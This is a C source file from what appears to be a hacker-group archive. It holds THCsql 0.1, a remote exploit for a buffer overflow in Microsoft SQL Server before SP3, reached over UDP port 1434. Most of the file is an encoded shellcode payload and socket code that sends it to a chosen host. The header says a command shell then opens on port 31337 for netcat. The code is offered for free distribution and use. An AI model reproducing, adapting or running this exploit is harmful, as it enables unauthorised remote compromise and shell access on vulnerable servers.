Update README.md
[oweals/thc-archive.git] / Exploits / THCsql.c
1 /*****************************************************************************/\r
2 /* THCsql 0.1 - MSSQL Server exploit for Server < SP3                        */\r
3 /* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)            */\r
4 /* THC PUBLIC SOURCE MATERIALS                                               */\r
5 /*                                                                           */\r
6 /* The exploit can be freely distributed !                                   */\r
7 /*                                                                           */\r
8 /* This is just another exploit for the well known mssql server bug which    */\r
9 /* was found by David Litchfield last summer. Details in this advisory:      */\r
10 /*           http://www.nextgenss.com/advisories/mssql-udp.txt               */\r
11 /*                                                                           */\r
12 /* This exploit was tested on an english Windows 2k Server SP2 and MSSQL     */\r
13 /* Server with SP0 and SP2 and has worked properly. The used shellcode is    */\r
14 /* completely offsetless, which makes this exploit quite stable              */\r
15 /*                                                                           */\r
16 /* After successful exploitation of this bug, a commandshell should spawn on */\r
17 /* TCP port 31337 ! Use netcat to connect to this port !                     */\r
18 /*                                                                           */\r
19 /* If there's no connectable port 31337, maybe it's blocked by a firewall !  */\r
20 /*                                                                           */\r
21 /* compile with MS Visual C++ : cl THCsql.c /link ws2_32.lib                 */\r
22 /*                                                                           */\r
23 /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */\r
24 /* scut, stealth, zip, zilvio and the rest of the combo ......               */\r
25 /*****************************************************************************/\r
26 \r
27 #include <stdio.h>\r
28 #include <stdlib.h>\r
29 #include <string.h>\r
30 #include <winsock2.h>\r
31 \r
32 char badbuffer[] =\r
33 "\x04"\r
34 "THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"\r
35 "THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"\r
36 "\xdc\xc9\xb0\x42"\r
37 "\xeb\x0e"\r
38 "JC"\r
39 "THC!"\r
40 "\x01\x70\xae\x42"\r
41 "\x01\x70\xae\x42"\r
42 "\x8b\xfc\x83\xc7\x2c\x66\x81\xec\x04\x02\x33\xc9\xb2\x35\x66"\r
43 "\x81\xc1\x38\x01\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16"\r
44 "\x4f\x5c\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1"\r
45 "\x36\xc5\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71"\r
46 "\x79\x79\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f"\r
47 "\x05\x6c\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d"\r
48 "\xb8\x6a\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29"\r
49 "\x34\xcc\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce"\r
50 "\x04\xfc\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4"\r
51 "\xd7\xb1\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c"\r
52 "\x25\x40\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25"\r
53 "\x74\x3a\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc"\r
54 "\x71\xb8\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78"\r
55 "\x17\xb8\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30"\r
56 "\xb5\x70\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca"\r
57 "\xca\xbc\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2"\r
58 "\x60\x6d\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62"\r
59 "\xca\x60\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca"\r
60 "\x60\xd1\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b"\r
61 "\x50\x4d\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1"\r
62 "\x62\x62\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65"\r
63 "\xb8\x70\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66"\r
64 "\x66\x60\xca\x60\xd9\x5f\xca\xca\x60\xd5";\r
65 \r
66 void usage();\r
67 \r
68 int main(int argc, char *argv[])\r
69 {  \r
70   unsigned short sqlport=1434;\r
71   unsigned int sock,addr,rc;\r
72   struct sockaddr_in sqludp;\r
73   struct hostent * hp;\r
74   WSADATA wsaData;\r
75 \r
76   printf("\nTHCsql v0.1 - Wind0wZ remote root sploit for MSSQL-Servers < SP3\n");\r
77   printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");\r
78   printf("bug was found by David Litchfield\n");\r
79   \r
80   if(argc<2)\r
81    usage();\r
82    \r
83     if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)\r
84   {\r
85    printf("WSAStartup failed !\n");\r
86    exit(-1);\r
87   }\r
88   \r
89   hp = gethostbyname(argv[1]);\r
90 \r
91   if (!hp){\r
92    addr = inet_addr(argv[1]);\r
93   }\r
94   if ((!hp)  && (addr == INADDR_NONE) )\r
95   {\r
96    printf("Unable to resolve %s\n",argv[1]);\r
97    exit(-1);\r
98   }\r
99 \r
100   sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);\r
101   if (!sock)\r
102   { \r
103    printf("socket() error...\n");\r
104    exit(-1);\r
105   }\r
106   \r
107   if (hp != NULL)\r
108    memcpy(&(sqludp.sin_addr),hp->h_addr,hp->h_length);\r
109   else\r
110    sqludp.sin_addr.s_addr = addr;\r
111 \r
112   if (hp)\r
113    sqludp.sin_family = hp->h_addrtype;\r
114   else\r
115    sqludp.sin_family = AF_INET;\r
116 \r
117   sqludp.sin_port=htons(sqlport);\r
118  \r
119   rc=connect(sock, (struct sockaddr *) &sqludp, sizeof (struct sockaddr_in));\r
120   if(rc==0)\r
121   {\r
122     send(sock,badbuffer,sizeof(badbuffer)-1,0);\r
123     printf("\nexploit send .... sleeping a while ....\n");\r
124     Sleep(1000);\r
125     printf("\nok ... now try to connect to port 31337 via netcat !\n");\r
126   }\r
127   else\r
128    printf("can't connect to sql port udp 1434!\n");\r
129   \r
130   shutdown(sock,1);\r
131   closesocket(sock);\r
132   exit(0);\r
133 }\r
134 \r
135 void usage()\r
136 {\r
137  unsigned int a;\r
138  printf("\nUsage:  <Host>\n");\r
139  exit(0);\r
140 }\r